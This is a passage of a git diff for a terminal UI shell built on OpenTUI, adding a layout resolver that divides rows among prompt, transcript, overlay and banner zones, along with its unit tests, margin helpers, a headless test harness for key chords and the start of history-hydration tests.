expect(goalIdx).toBeLessThan(noticeIdx); + } + }); +}); + +describe("resolveGeometry — prompt growth", () => { + test("prompt cannot expand past floor when overlay closed", () => { + // Request a huge prompt; must cap so transcript stays ≥ 12. + const layout = idle80x24({ promptContentRows: 40 }); + expect(layout.heights.prompt).toBeLessThanOrEqual( + Math.floor(24 * PROMPT_CAP_FRACTION), + ); + expect(layout.heights.prompt).toBeGreaterThanOrEqual(PROMPT_BASE_ROWS); + expect(layout.transcriptHeight).toBeGreaterThanOrEqual(IDLE_TRANSCRIPT_FLOOR); + }); + + test("prompt growth is reclaimed when the floor is threatened", () => { + const layout = idle80x24({ + promptContentRows: 9, // 40% of 24 = 9 + visibility: { + progress: 2, + progressDivider: true, + goal: true, + task: true, + agents: true, + commandBanner: 2, + settingsNotice: 3, + pluginBanner: true, + }, + }); + expect(layout.transcriptHeight).toBeGreaterThanOrEqual(IDLE_TRANSCRIPT_FLOOR); + // Prompt should not stay at 9 if collapse was needed. + if (layout.collapsed.includes("prompt")) { + expect(layout.heights.prompt).toBeLessThan(9); + expect(layout.heights.prompt).toBeGreaterThanOrEqual(PROMPT_BASE_ROWS); + } + }); + + test("prompt rests at its idle composing height by default", () => { + expect(idle80x24().heights.prompt).toBe(PROMPT_IDLE_ROWS); + }); +}); + +describe("resolveGeometry — overlay modes", () => { + test("inset overlay leaves ≥ 8 transcript on 24-row", () => { + const layout = idle80x24({ + overlay: { mode: "inset", bodyRows: 10 }, + }); + expect(layout.overlayMode).toBe("inset"); + expect(layout.overlayHeight).toBeGreaterThan(0); + expect(layout.transcriptHeight).toBeGreaterThanOrEqual(OVERLAY_TRANSCRIPT_FLOOR); + expect(layout.regions.overlay_host?.height).toBe(layout.overlayHeight); + // The prompt box remains visible in inset mode. + expect(layout.heights.prompt).toBeGreaterThanOrEqual(PROMPT_BASE_ROWS); + }); + + test("inset overlay body is capped by 70% and floor-safe max", () => { + const layout = idle80x24({ + overlay: { mode: "inset", bodyRows: 100 }, + }); + expect(layout.overlayHeight).toBeLessThanOrEqual(Math.floor(24 * 0.7)); + expect(layout.transcriptHeight).toBeGreaterThanOrEqual(OVERLAY_TRANSCRIPT_FLOOR); + }); + + test("full_shell hides transcript and gives residual to overlay_host", () => { + const layout = idle80x24({ + overlay: { mode: "full_shell", bodyRows: 20 }, + }); + expect(layout.overlayMode).toBe("full_shell"); + expect(layout.transcriptHeight).toBe(0); + expect(layout.heights.prompt).toBe(0); + expect(layout.heights.notice).toBe(0); + expect(layout.overlayHeight).toBeGreaterThan(0); + expect(layout.overlayHeight + layout.chromeHeight).toBe(24); + }); +}); + +describe("resolveGeometry — resize / residual", () => { + test("taller terminal: extra rows go to transcript, not chrome", () => { + const short = resolveGeometry({ terminal: { columns: 80, rows: 24 } }); + const tall = resolveGeometry({ terminal: { columns: 120, rows: 40 } }); + expect(tall.chromeHeight).toBe(short.chromeHeight); + expect(tall.transcriptHeight).toBe(short.transcriptHeight + (40 - 24)); + expect(tall.transcriptHeight).toBe(40 - tall.chromeHeight); + }); + + test("120×40 idle still keeps floor and accrues residual to transcript", () => { + const layout = resolveGeometry({ terminal: { columns: 120, rows: 40 } }); + expect(layout.transcriptHeight).toBeGreaterThanOrEqual(IDLE_TRANSCRIPT_FLOOR); + expect(layout.chromeHeight).toBe(PROMPT_IDLE_ROWS); + expect(layout.transcriptHeight).toBe(40 - PROMPT_IDLE_ROWS); + }); + + test("does not read process.stdout — pure input only", () => { + // Sanity: custom tiny size is honored even if stdout differs. + const layout = resolveGeometry({ terminal: { columns: 40, rows: 18 } }); + expect(layout.terminal.rows).toBe(18); + expect(layout.terminal.columns).toBe(40); + const sum = + layout.chromeHeight + layout.overlayHeight + layout.transcriptHeight; + expect(sum).toBe(18); + }); +}); diff --git a/src/tui-opentui/geometry/index.ts b/src/tui-opentui/geometry/index.ts new file mode 100644 index 000000000..2b714e8ef --- /dev/null +++ b/src/tui-opentui/geometry/index.ts @@ -0,0 +1,44 @@ +export { + COLLAPSE_ORDER, + IDLE_TRANSCRIPT_FLOOR, + OVERLAY_MAX_FRACTION, + OVERLAY_TRANSCRIPT_FLOOR, + PAINT_ORDER, + PROMPT_BASE_ROWS, + PROMPT_BORDER_ROWS, + PROMPT_CAP_FRACTION, + PROMPT_IDLE_INPUT_ROWS, + PROMPT_IDLE_ROWS, + ZONE_IDS, + ZONE_REGISTRY, + zoneDeclaration, + type ZoneDeclaration, + type ZoneId, +} from "./zones.js"; + +export { + BOTTOM_MARGIN_MIN_ROWS, + BOTTOM_MARGIN_ROWS, + MARGIN_FULL_MIN_COLUMNS, + MARGIN_MIN_COLUMNS, + NARROW_SIDE_MARGIN, + SIDE_MARGIN, + TOP_PAD_MIN_TRANSCRIPT_ROWS, + TOP_PAD_ROWS, + resolveBottomMarginRows, + resolveContentWidth, + resolveSideMargin, + resolveTopPadRows, +} from "./margins.js"; + +export { + desiredHeights, + resolveGeometry, + type GeometryInput, + type GeometryLayout, + type OverlayInput, + type OverlayMode, + type Rect, + type TerminalSize, + type ZoneVisibility, +} from "./resolve.js"; diff --git a/src/tui-opentui/geometry/margins.ts b/src/tui-opentui/geometry/margins.ts new file mode 100644 index 000000000..7acc0afd1 --- /dev/null +++ b/src/tui-opentui/geometry/margins.ts @@ -0,0 +1,73 @@ +/** + * Optical breathing room shared by every shell surface. + * + * The margin is one number for the whole interface — transcript, prompt box, + * model bar, hint row and overlay host all sit inside it — so the shell reads + * as a single column of content rather than panes that happen to be stacked. + * + * Horizontal only. The row budget is the geometry resolver's business; nothing + * here can take a row away from it. + */ + +/** Gutter columns on each side once the terminal can afford them. */ +export const SIDE_MARGIN = 2 + +/** Half gutter for terminals too narrow to spend four columns on air. */ +export const NARROW_SIDE_MARGIN = 1 + +/** At or above this width the full gutter is affordable. */ +export const MARGIN_FULL_MIN_COLUMNS = 60 + +/** Below this width every column belongs to content: the gutter goes to zero. */ +export const MARGIN_MIN_COLUMNS = 40 + +/** Gutter width for a terminal of `columns` columns. */ +export function resolveSideMargin(columns: number): number { + const cols = Math.max(0, Math.floor(columns)) + if (cols >= MARGIN_FULL_MIN_COLUMNS) return SIDE_MARGIN + if (cols >= MARGIN_MIN_COLUMNS) return NARROW_SIDE_MARGIN + return 0 +} + +/** Columns left for content after both gutters. */ +export function resolveContentWidth(columns: number): number { + const cols = Math.max(1, Math.floor(columns)) + return Math.max(1, cols - resolveSideMargin(cols) * 2) +} + +/** + * Blank rows above the first transcript row. Carved out of the transcript + * residual by the shell, never out of chrome, so the resolved row budget holds. + */ +export const TOP_PAD_ROWS = 1 + +/** Below this many transcript rows the pad is not worth the row it costs. */ +export const TOP_PAD_MIN_TRANSCRIPT_ROWS = 6 + +/** Top pad rows affordable for a transcript of `transcriptRows` rows. */ +export function resolveTopPadRows(transcriptRows: number): number { + return transcriptRows >= TOP_PAD_MIN_TRANSCRIPT_ROWS ? TOP_PAD_ROWS : 0 +} + +/** + * Rows below the prompt box. Zero: the box sits on the terminal's last row. + * + * A blank row here reads as the interface floating rather than resting on the + * bottom edge — the box is the thing the operator types into, and it wants to + * be where the cursor already is. The side gutters still keep it off the left + * and right edges, which is where crowding actually shows. + */ +export const BOTTOM_MARGIN_ROWS = 0 + +/** + * Below this terminal height the margin is not worth the row it costs — the + * same 24-row line the resolver already treats as "short terminal" for the + * transcript floor, so every yield point in the layout agrees on where a + * terminal stops being able to afford anything optional. + */ +export const BOTTOM_MARGIN_MIN_ROWS = 24 + +/** Bottom margin rows affordable for a terminal of `terminalRows` rows. */ +export function resolveBottomMarginRows(terminalRows: number): number { + return terminalRows >= BOTTOM_MARGIN_MIN_ROWS ? BOTTOM_MARGIN_ROWS : 0 +} diff --git a/src/tui-opentui/geometry/resolve.ts b/src/tui-opentui/geometry/resolve.ts new file mode 100644 index 000000000..3a597544a --- /dev/null +++ b/src/tui-opentui/geometry/resolve.ts @@ -0,0 +1,378 @@ +// Pure geometry resolver: terminal size + zone visibility + overlay mode → rects. +// Caller passes { columns, rows }; this module never reads process.stdout. + +import { resolveContentWidth, resolveSideMargin } from "./margins.js"; +import { + COLLAPSE_ORDER, + IDLE_TRANSCRIPT_FLOOR, + OVERLAY_MAX_FRACTION, + OVERLAY_TRANSCRIPT_FLOOR, + PAINT_ORDER, + PROMPT_BASE_ROWS, + PROMPT_CAP_FRACTION, + PROMPT_IDLE_ROWS, + ZONE_REGISTRY, + type ZoneId, +} from "./zones.js"; + +export type TerminalSize = { + readonly columns: number; + readonly rows: number; +}; + +export type OverlayMode = "closed" | "inset" | "full_shell"; + +export type OverlayInput = { + readonly mode: OverlayMode; + /** Requested overlay body rows (measured by host). Capped by fraction + floor. */ + readonly bodyRows?: number; +}; + +/** + * Optional chrome visibility. The prompt box is the only always-on zone and + * defaults to its idle budget. Optional zones default to off (0). + */ +export type ZoneVisibility = { + /** Transient notice row on (default off). */ + readonly notice?: boolean; + /** Progress: false/omit = 0; true = 2; or explicit 1|2. */ + readonly progress?: boolean | 1 | 2; + /** Progress divider (0–1). Default on when progress is shown. */ + readonly progressDivider?: boolean; + readonly goal?: boolean; + readonly task?: boolean; + readonly agents?: boolean; + readonly pluginBanner?: boolean; + /** Command banner: true → 1 row, or explicit 1|2. */ + readonly commandBanner?: boolean | 1 | 2; + /** Settings notice: true → 1 row, or explicit 1–3. */ + readonly settingsNotice?: boolean | 1 | 2 | 3; +}; + +export type GeometryInput = { + readonly terminal: TerminalSize; + readonly visibility?: ZoneVisibility; + /** + * Requested prompt rows (content + borders). Capped at 40% of terminal rows + * and floor-safe max. Default PROMPT_IDLE_ROWS (5). + */ + readonly promptContentRows?: number; + readonly overlay?: OverlayInput; + /** + * Transcript rows to hold back for content, when the caller knows better than + * the registry default. The landing screen passes 0: there is no transcript + * yet, so reserving rows for one only starves whatever is on screen. + */ + readonly transcriptFloor?: number; +}; + +export type Rect = { + readonly x: number; + readonly y: number; + readonly width: number; + readonly height: number; +}; + +export type GeometryLayout = { + readonly terminal: TerminalSize; + readonly transcriptHeight: number; + readonly chromeHeight: number; + readonly overlayHeight: number; + /** Region rects for every zone with height > 0 (and transcript even if 0). */ + readonly regions: Readonly>>; + /** Assigned height per zone after collapse (0 = hidden). */ + readonly heights: Readonly>; + /** Zones reduced or zeroed by collapse rules (in order applied). */ + readonly collapsed: readonly ZoneId[]; + readonly overlayMode: OverlayMode; + /** Transcript floor applied for this resolution. */ + readonly transcriptFloor: number; + /** Gutter columns held on each side of every zone. */ + readonly sideMargin: number; + /** Zone width after both gutters. */ + readonly contentWidth: number; +}; + +type MutableHeights = Record; + +function clamp(n: number, lo: number, hi: number): number { + return Math.max(lo, Math.min(hi, n)); +} + +function boolOrRows(value: boolean | number | undefined, onRows: number): number { + if (value === undefined || value === false) return 0; + if (value === true) return onRows; + return value; +} + +/** Build initial desired heights from visibility + registry idle defaults. */ +export function desiredHeights(input: GeometryInput): MutableHeights { + const vis = input.visibility ?? {}; + const rows = input.terminal.rows; + + const progressRows = boolOrRows(vis.progress, 2); + const progressDivider = + vis.progressDivider === true + ? 1 + : vis.progressDivider === false + ? 0 + : progressRows > 0 + ? 1 + : 0; + + const promptRequested = input.promptContentRows ?? PROMPT_IDLE_ROWS; + const promptCap = Math.max( + PROMPT_BASE_ROWS, + Math.floor(rows * PROMPT_CAP_FRACTION), + ); + const promptRows = clamp(promptRequested, PROMPT_BASE_ROWS, promptCap); + + const heights: MutableHeights = { + progress: clamp(progressRows, 0, ZONE_REGISTRY.progress.max), + progress_divider: progressDivider, + notice: vis.notice === true ? 1 : ZONE_REGISTRY.notice.idleDefault, + prompt: promptRows, + goal: vis.goal ? 1 : 0, + task: vis.task ? 1 : 0, + agents: vis.agents ? 1 : 0, + plugin_banner: vis.pluginBanner ? 1 : 0, + command_banner: clamp( + boolOrRows(vis.commandBanner, 1), + 0, + ZONE_REGISTRY.command_banner.max, + ), + settings_notice: clamp( + boolOrRows(vis.settingsNotice, 1), + 0, + ZONE_REGISTRY.settings_notice.max, + ), + transcript: 0, + overlay_host: 0, + }; + + return heights; +} + +function sumChrome(heights: MutableHeights): number { + let total = 0; + for (const id of PAINT_ORDER) { + if (id === "transcript" || id === "overlay_host") continue; + total += heights[id]; + } + return total; +} + +function transcriptFloorFor(mode: OverlayMode, terminalRows: number): number { + if (mode === "full_shell") return 0; + if (mode === "inset") { + // Proposed ≥ 8 on 24-row; scale gently on shorter terminals. + if (terminalRows < 24) return Math.min(OVERLAY_TRANSCRIPT_FLOOR, Math.max(4, terminalRows - 12)); + return OVERLAY_TRANSCRIPT_FLOOR; + } + // closed: hard floor 12; on tiny terminals attempt what remains after min chrome + if (terminalRows < 24) { + const minChrome = PROMPT_BASE_ROWS; + return Math.max(6, Math.min(IDLE_TRANSCRIPT_FLOOR, terminalRows - minChrome)); + } + return IDLE_TRANSCRIPT_FLOOR; +} + +function desiredOverlayHeight( + input: GeometryInput, + mode: OverlayMode, + chrome: number, + floor: number, +): number { + if (mode === "closed") return 0; + const rows = input.terminal.rows; + const requested = input.overlay?.bodyRows ?? Math.floor(rows * 0.4); + const fracCap = Math.floor(rows * OVERLAY_MAX_FRACTION); + + if (mode === "full_shell") { + // Overlay owns residual after any remaining chrome (usually 0 after hide). + return Math.max(0, rows - chrome); + } + + // inset: leave transcript floor; never exceed fraction cap + const floorSafe = Math.max(0, rows - chrome - floor); + return clamp(requested, 0, Math.min(fracCap, floorSafe)); +} + +/** + * One collapse step: reduce the next collapsible zone. + * Returns the zone id that was reduced, or null if nothing left to cut. + */ +function collapseOnce(heights: MutableHeights, collapsed: ZoneId[]): ZoneId | null { + for (const id of COLLAPSE_ORDER) { + const h = heights[id]; + if (h <= 0) continue; + + if (id === "prompt") { + // Never below base, and one row at a time: a one-row shortfall should not + // cost the operator the whole composing area. + if (h > PROMPT_BASE_ROWS) { + heights.prompt = h - 1; + if (!collapsed.includes("prompt")) collapsed.push("prompt"); + return "prompt"; + } + continue; + } + + if (id === "progress") { + // Prefer 1 row over 2 before dropping to 0. + if (h > 1) { + heights.progress = 1; + if (!collapsed.includes("progress")) collapsed.push("progress"); + return "progress"; + } + heights.progress = 0; + if (!collapsed.includes("progress")) collapsed.push("progress"); + return "progress"; + } + + // Drop optional / shrinkable to 0. + heights[id] = 0; + if (!collapsed.includes(id)) collapsed.push(id); + return id; + } + return null; +} + +function assignRects( + heights: MutableHeights, + terminal: TerminalSize, +): Partial> { + const regions: Partial> = {}; + const x = resolveSideMargin(terminal.columns); + const width = resolveContentWidth(terminal.columns); + let y = 0; + for (const id of PAINT_ORDER) { + const height = heights[id]; + if (height <= 0) continue; + regions[id] = { + x, + y, + width, + height, + }; + y += height; + } + return regions; +} + +/** + * Resolve shell region rects from terminal size, optional chrome, and overlay mode. + * Pure: no I/O. Extra terminal rows accrue to the transcript residual. + */ +export function resolveGeometry(input: GeometryInput): GeometryLayout { + const terminal = { + columns: Math.max(1, Math.floor(input.terminal.columns)), + rows: Math.max(1, Math.floor(input.terminal.rows)), + }; + const mode: OverlayMode = input.overlay?.mode ?? "closed"; + const floor = + input.transcriptFloor === undefined + ? transcriptFloorFor(mode, terminal.rows) + : Math.max(0, Math.floor(input.transcriptFloor)); + const heights = desiredHeights({ ...input, terminal }); + const collapsed: ZoneId[] = []; + + // Full-shell modal: hide transcript and bottom chrome; overlay owns residual. + if (mode === "full_shell") { + heights.transcript = 0; + heights.goal = 0; + heights.task = 0; + heights.agents = 0; + heights.plugin_banner = 0; + heights.command_banner = 0; + heights.settings_notice = 0; + heights.progress = 0; + heights.progress_divider = 0; + heights.notice = 0; + heights.prompt = 0; + const chrome = sumChrome(heights); + heights.overlay_host = Math.max(0, terminal.rows - chrome); + const regions = assignRects(heights, terminal); + return { + terminal, + transcriptHeight: 0, + chromeHeight: chrome, + overlayHeight: heights.overlay_host, + regions, + heights, + collapsed, + overlayMode: mode, + transcriptFloor: floor, + sideMargin: resolveSideMargin(terminal.columns), + contentWidth: resolveContentWidth(terminal.columns), + }; + } + + // Cap prompt growth against floor before overlay allocation. + const promptCap = Math.max( + PROMPT_BASE_ROWS, + Math.floor(terminal.rows * PROMPT_CAP_FRACTION), + ); + if (heights.prompt > promptCap) heights.prompt = promptCap; + + // Iteratively collapse optional chrome until transcript meets floor with overlay. + // Enough steps to walk a grown prompt back to base one row at a time on top + // of dropping every optional zone. + const maxIters = 128; + for (let i = 0; i < maxIters; i++) { + const chrome = sumChrome(heights); + const overlay = desiredOverlayHeight( + { ...input, terminal }, + mode, + chrome, + floor, + ); + const transcript = terminal.rows - chrome - overlay; + if (transcript >= floor) { + heights.transcript = Math.max(0, transcript); + heights.overlay_host = overlay; + break; + } + // Need more space: collapse one zone, then retry. + const cut = collapseOnce(heights, collapsed); + if (cut === null) { + // Nothing left — accept best effort (may be below floor on tiny terminals). + heights.overlay_host = desiredOverlayHeight( + { ...input, terminal }, + mode, + chrome, + 0, + ); + heights.transcript = Math.max(0, terminal.rows - sumChrome(heights) - heights.overlay_host); + break; + } + } + + // Final consistency: residual must sum exactly to terminal.rows. + const chromeHeight = sumChrome(heights); + const overlayHeight = heights.overlay_host; + heights.transcript = Math.max(0, terminal.rows - chromeHeight - overlayHeight); + + // Reclaim any rounding leftover into transcript only (never chrome). + const assigned = + chromeHeight + overlayHeight + heights.transcript; + if (assigned < terminal.rows) { + heights.transcript += terminal.rows - assigned; + } + + const regions = assignRects(heights, terminal); + + return { + terminal, + transcriptHeight: heights.transcript, + chromeHeight, + overlayHeight, + regions, + heights, + collapsed, + overlayMode: mode, + transcriptFloor: floor, + sideMargin: resolveSideMargin(terminal.columns), + contentWidth: resolveContentWidth(terminal.columns), + }; +} diff --git a/src/tui-opentui/geometry/zones.ts b/src/tui-opentui/geometry/zones.ts new file mode 100644 index 000000000..d11b48b07 --- /dev/null +++ b/src/tui-opentui/geometry/zones.ts @@ -0,0 +1,171 @@ +// Chrome zone registry for the OpenTUI shell. +// Source of truth: docs/tui-layout-constitution.md §3 zone table + §3.3 collapse order. +// Pure data — no process.stdout, no paint framework. + +/** Constitution zone ids (snake_case matches the registry table). */ +export const ZONE_IDS = [ + "progress", + "progress_divider", + "notice", + "prompt", + "goal", + "task", + "agents", + "plugin_banner", + "command_banner", + "settings_notice", + "transcript", + "overlay_host", +] as const; + +export type ZoneId = (typeof ZONE_IDS)[number]; + +export type ZoneDeclaration = { + readonly id: ZoneId; + /** Hard minimum rows when the zone is present. */ + readonly min: number; + /** Hard maximum rows when the zone is present. */ + readonly max: number; + /** + * Default idle rows when the zone is on and the caller requests no override. + * Optional zones default to 0 (off) unless visibility opts them in. + */ + readonly idleDefault: number; + /** Fixed chrome that is always considered unless collapse forces shrink. */ + readonly alwaysOn: boolean; +}; + +/** + * Fixed-with-test budgets from the constitution table. + * Residual zones (transcript, overlay_host) use min/max as floor/cap hints; + * actual heights are assigned by the geometry resolver. + */ +export const ZONE_REGISTRY: { readonly [K in ZoneId]: ZoneDeclaration } = { + progress: { id: "progress", min: 0, max: 2, idleDefault: 0, alwaysOn: false }, + progress_divider: { + id: "progress_divider", + min: 0, + max: 1, + idleDefault: 0, + alwaysOn: false, + }, + // Transient: rows only while the shell has state worth a row (queue depth, + // latched interrupt, a flash, a live turn). Idle it is off. + notice: { id: "notice", min: 0, max: 1, idleDefault: 0, alwaysOn: false }, + // Grows with what is being composed; the resolver caps it at PROMPT_CAP_FRACTION + // and collapses it back toward min when the transcript would breach its floor. + prompt: { + id: "prompt", + min: 3, + max: Number.POSITIVE_INFINITY, + idleDefault: 5, + alwaysOn: true, + }, + goal: { id: "goal", min: 0, max: 1, idleDefault: 0, alwaysOn: false }, + task: { id: "task", min: 0, max: 1, idleDefault: 0, alwaysOn: false }, + agents: { id: "agents", min: 0, max: 1, idleDefault: 0, alwaysOn: false }, + plugin_banner: { + id: "plugin_banner", + min: 0, + max: 1, + idleDefault: 0, + alwaysOn: false, + }, + command_banner: { + id: "command_banner", + min: 0, + max: 2, + idleDefault: 0, + alwaysOn: false, + }, + settings_notice: { + id: "settings_notice", + min: 0, + max: 3, + idleDefault: 0, + alwaysOn: false, + }, + // Residual — min is the hard floor on 24-row idle; max is unused (fills rest). + transcript: { + id: "transcript", + min: 12, + max: Number.POSITIVE_INFINITY, + idleDefault: 12, + alwaysOn: true, + }, + overlay_host: { + id: "overlay_host", + min: 0, + max: Number.POSITIVE_INFINITY, + idleDefault: 0, + alwaysOn: false, + }, +}; + +/** Idle transcript floor (rows). Applies on 24-row and taller; extra rows accrue to transcript. */ +export const IDLE_TRANSCRIPT_FLOOR = 12; + +/** Proposed inset-overlay transcript floor on 24-row terminals. */ +export const OVERLAY_TRANSCRIPT_FLOOR = 8; + +/** Prompt height may not exceed this fraction of terminal rows. */ +export const PROMPT_CAP_FRACTION = 0.4; + +/** Overlay host body may not exceed this fraction of terminal rows (proposed). */ +export const OVERLAY_MAX_FRACTION = 0.7; + +/** + * Prompt floor: labelled borders + one content line. Only a terminal too short + * to seat the transcript floor alongside a composing area gets squeezed here. + */ +export const PROMPT_BASE_ROWS = 3; + +/** Input rows the prompt offers at rest, before anything has been typed. */ +export const PROMPT_IDLE_INPUT_ROWS = 3; + +/** Rows the two labelled rules cost the prompt box. */ +export const PROMPT_BORDER_ROWS = 2; + +/** Prompt bordered height at rest. */ +export const PROMPT_IDLE_ROWS = PROMPT_IDLE_INPUT_ROWS + PROMPT_BORDER_ROWS; + +/** + * Collapse order when transcript would breach the floor (first cut first). + * Matches docs/tui-layout-constitution.md §3.3. + */ +export const COLLAPSE_ORDER = [ + "command_banner", + "settings_notice", + "plugin_banner", + "goal", + "task", + "agents", + "progress", + "progress_divider", + "notice", + // prompt growth reclaimed next (handled specially; never below PROMPT_BASE_ROWS) + "prompt", +] as const satisfies readonly ZoneId[]; + +/** + * Top-to-bottom paint order for y-stacked rects. + * Transcript is residual in the middle; the prompt box is the last thing painted. + */ +export const PAINT_ORDER = [ + "goal", + "task", + "agents", + "transcript", + "overlay_host", + "plugin_banner", + "command_banner", + "settings_notice", + "progress", + "progress_divider", + "notice", + "prompt", +] as const satisfies readonly ZoneId[]; + +export function zoneDeclaration(id: ZoneId): ZoneDeclaration { + return ZONE_REGISTRY[id]; +} diff --git a/src/tui-opentui/harness.test.ts b/src/tui-opentui/harness.test.ts new file mode 100644 index 000000000..dcb551639 --- /dev/null +++ b/src/tui-opentui/harness.test.ts @@ -0,0 +1,78 @@ +import { describe, expect, test } from "bun:test" +import { + BoxRenderable, + TextRenderable, + type KeyEvent, +} from "@opentui/core" +import { createHarness, withTestRenderer } from "./harness.js" + +describe("withTestRenderer", () => { + test("creates renderer, paints Text/Box, destroys without throw", async () => { + await withTestRenderer( + async (h) => { + const box = new BoxRenderable(h.renderer, { + id: "shell", + width: "100%", + height: "100%", + }) + box.add( + new TextRenderable(h.renderer, { + content: "hello-harness", + fg: "#7aa2f7", + }), + ) + h.root.add(box) + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("hello-harness") + }, + { width: 40, height: 10 }, + ) + }) + + test("pressKey Enter / Alt+Enter / Ctrl+C shapes", async () => { + await withTestRenderer(async (h) => { + const captured: KeyEvent[] = [] + h.renderer.keyInput.on("keypress", (key: KeyEvent) => { + captured.push(key) + }) + + h.pressKey("Enter") + await h.renderOnce() + const enter = captured.at(-1) + expect(enter).toBeDefined() + expect(enter!.name === "return" || enter!.name === "enter").toBe(true) + expect(enter!.ctrl).toBe(false) + expect(enter!.meta).toBe(false) + + h.pressKey("Alt+Enter") + await h.renderOnce() + const altEnter = captured.at(-1) + expect(altEnter).toBeDefined() + expect(altEnter!.name === "return" || altEnter!.name === "enter").toBe( + true, + ) + expect(altEnter!.meta === true || altEnter!.option === true).toBe(true) + + h.pressKey("Ctrl+C") + await h.renderOnce() + const ctrlC = captured.at(-1) + expect(ctrlC).toBeDefined() + expect(ctrlC!.name).toBe("c") + expect(ctrlC!.ctrl).toBe(true) + }) + }) +}) + +describe("createHarness", () => { + test("caller destroy cleans up", async () => { + const h = await createHarness({ width: 20, height: 8 }) + try { + await h.renderOnce() + expect(typeof h.captureCharFrame()).toBe("string") + expect(h.root).toBe(h.renderer.root) + } finally { + h.destroy() + } + }) +}) diff --git a/src/tui-opentui/harness.ts b/src/tui-opentui/harness.ts new file mode 100644 index 000000000..b38d3c61e --- /dev/null +++ b/src/tui-opentui/harness.ts @@ -0,0 +1,167 @@ +/** + * Headless OpenTUI test harness for Corbits shell integration tests. + * + * Wraps `@opentui/core/testing` `createTestRenderer` with cleanup and + * named key chords. Functional helpers only — no new classes. + * + * ## Key shapes (mockInput → renderer.keyInput `keypress`) + * + * | Chord | `name` | `ctrl` | `meta` | notes | + * |------------|----------|--------|--------|-------| + * | Enter | `return` | false | false | Canonical is **return**, not enter; keybindings alias enter→return | + * | Alt+Enter | `return` | false | true | Match `meta \|\| option` (Kitty may set option) | + * | Ctrl+C | `c` | true | false | Default renderer `exitOnCtrlC` is true; harness defaults false | + * + * Alt surfaces as `meta: true` on the mock/mac path. Real Kitty terminals may + * also set `option`. + */ + +import { getTreeSitterClient } from "@opentui/core" +import type { KeyInput } from "@opentui/core/testing" +import { + createTestRenderer, + type MockInput, + type MockMouse, + type TestRenderer, + type TestRendererSetup, +} from "@opentui/core/testing" + +export type HarnessOptions = { + readonly width?: number + readonly height?: number + /** + * When true, Ctrl+C destroys/exits via the renderer default path. + * Defaults to **false** so interrupt-shape tests do not kill the process. + */ + readonly exitOnCtrlC?: boolean +} + +export type KeyModifiers = { + readonly shift?: boolean + readonly ctrl?: boolean + readonly meta?: boolean + readonly super?: boolean + readonly hyper?: boolean +} + +/** Named chords used by Corbits steering / interrupt design. */ +export type NamedKey = + | "Enter" + | "Alt+Enter" + | "Ctrl+C" + | "Escape" + | "Tab" + | "Backspace" + +export type Harness = { + readonly renderer: TestRenderer + readonly mockInput: MockInput + readonly mockMouse: MockMouse + /** Shortcut for `renderer.root`. */ + readonly root: TestRenderer["root"] + readonly renderOnce: () => Promise + readonly flush: TestRendererSetup["flush"] + readonly waitFor: TestRendererSetup["waitFor"] + readonly waitForFrame: TestRendererSetup["waitForFrame"] + readonly captureCharFrame: () => string + readonly captureSpans: TestRendererSetup["captureSpans"] + readonly resize: (width: number, height: number) => void + /** + * Press a named chord or a raw key via mock input. + * Named: Enter | Alt+Enter | Ctrl+C | Escape | Tab | Backspace. + * Anything else delegates to `mockInput.pressKey(name, mods)`. + */ + readonly pressKey: (name: NamedKey | KeyInput, mods?: KeyModifiers) => void + /** Destroy the underlying renderer (idempotent-safe to call once from finally). */ + readonly destroy: () => void +} + +const DEFAULT_WIDTH = 60 +const DEFAULT_HEIGHT = 20 + +/** + * Create a headless test renderer + helpers. Caller must `destroy()` (prefer + * `withTestRenderer` which always cleans up). + */ +export async function createHarness( + opts: HarnessOptions = {}, +): Promise { + const width = opts.width ?? DEFAULT_WIDTH + const height = opts.height ?? DEFAULT_HEIGHT + const exitOnCtrlC = opts.exitOnCtrlC ?? false + + const setup = await createTestRenderer({ + width, + height, + exitOnCtrlC, + }) + + const pressKey = (name: NamedKey | KeyInput, mods?: KeyModifiers): void => { + switch (name) { + case "Enter": + if (mods === undefined) setup.mockInput.pressEnter() + else setup.mockInput.pressEnter(mods) + return + case "Alt+Enter": + // meta: true is the mock/mac Alt surface (see module comment). + if (mods === undefined) setup.mockInput.pressEnter({ meta: true }) + else setup.mockInput.pressEnter({ ...mods, meta: true }) + return + case "Ctrl+C": + setup.mockInput.pressCtrlC() + return + case "Escape": + if (mods === undefined) setup.mockInput.pressEscape() + else setup.mockInput.pressEscape(mods) + return + case "Tab": + if (mods === undefined) setup.mockInput.pressTab() + else setup.mockInput.pressTab(mods) + return + case "Backspace": + if (mods === undefined) setup.mockInput.pressBackspace() + else setup.mockInput.pressBackspace(mods) + return + default: + if (mods === undefined) setup.mockInput.pressKey(name) + else setup.mockInput.pressKey(name, mods) + } + } + + return { + renderer: setup.renderer, + mockInput: setup.mockInput, + mockMouse: setup.mockMouse, + root: setup.renderer.root, + renderOnce: setup.renderOnce, + flush: setup.flush, + waitFor: setup.waitFor, + waitForFrame: setup.waitForFrame, + captureCharFrame: setup.captureCharFrame, + captureSpans: setup.captureSpans, + resize: setup.resize, + pressKey, + destroy: () => { + setup.renderer.destroy() + // renderer.destroy() tears down the process-global tree-sitter client + // once no renderers remain. Eagerly recreate it so the next test file's + // markdown/code highlighting doesn't hit the destroyed singleton. + getTreeSitterClient() + }, + } +} + +/** + * Run `fn` with a harness and always destroy the renderer afterward. + */ +export async function withTestRenderer( + fn: (harness: Harness) => Promise | T, + opts?: HarnessOptions, +): Promise { + const harness = await createHarness(opts) + try { + return await fn(harness) + } finally { + harness.destroy() + } +} diff --git a/src/tui-opentui/history-hydrate.test.ts b/src/tui-opentui/history-hydrate.test.ts new file mode 100644 index 000000000..ab97a5ab2 --- /dev/null +++ b/src/tui-opentui/history-hydrate.test.ts @@ -0,0 +1,228 @@ +import { describe, expect, test } from "bun:test" +import { + EMPTY_PLAN_DETAIL, + EMPTY_TASKS_DETAIL, + EMPTY_VIEW_DETAIL, + hydrateHistoryRows, + MISSING_ERROR_DETAIL, + rowFromHistoryBlock, + rowsFromHistoryBlocks, +} from "./history-hydrate.js" + +describe("rowFromHistoryBlock", () => { + test("user / text / reply / thinking", () => { + expect(rowFromHistoryBlock({ type: "user", content: "hi" })).toEqual({ + role: "user", + text: "hi", + }) + expect(rowFromHistoryBlock({ type: "text", content: "ok" })).toEqual({ + role: "assistant", + text: "ok", + }) + expect(rowFromHistoryBlock({ type: "reply", content: "done" })).toEqual({ + role: "assistant", + text: "done", + }) + expect( + rowFromHistoryBlock({ type: "thinking", content: "hmm" }), + ).toEqual({ + role: "system", + text: "hmm", + meta: "thinking", + }) 